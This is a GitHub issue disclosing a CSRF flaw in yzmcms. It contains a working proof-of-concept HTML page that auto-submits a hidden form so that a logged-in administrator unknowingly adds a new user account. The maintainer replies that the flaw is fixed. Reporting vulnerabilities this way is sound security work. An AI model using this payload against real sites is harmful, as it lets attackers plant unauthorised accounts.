Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability to add users #55

Closed
hackxiaofeng opened this issue Dec 30, 2020 · 1 comment
Closed

There is a CSRF vulnerability to add users #55

hackxiaofeng opened this issue Dec 30, 2020 · 1 comment

Comments

@hackxiaofeng
Copy link

@hackxiaofeng hackxiaofeng commented Dec 30, 2020

After the administrator logged in, open the following the page
POC:
Csrf.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="referrer" content="never">
<title>csrf</title>
</head><body>
<form action="http://localhost/member/member/add.html" method="post">
<input type="hidden" name="username" value="test">
<input type="hidden" name="password" value="123456">
<input type="hidden" name="nickname" value="123456">
<input type="hidden" name="email" value="123456@qq.com">
<input type="hidden" name="groupid" value="1">
<input type="hidden" name="point" value="0">
<input type="hidden" name="overduedate" value="">
<input type="hidden" name="dosubmit" value="1">
</form>
<script>
let oForm = document.querySelector('form');
oForm.submit();
</script>
</body>
</html>

图片
Refresh page after opening
图片

@yzmcms
Copy link
Owner

@yzmcms yzmcms commented Jan 24, 2021

Thank you. It's fixed

@yzmcms yzmcms closed this Jan 24, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
2 participants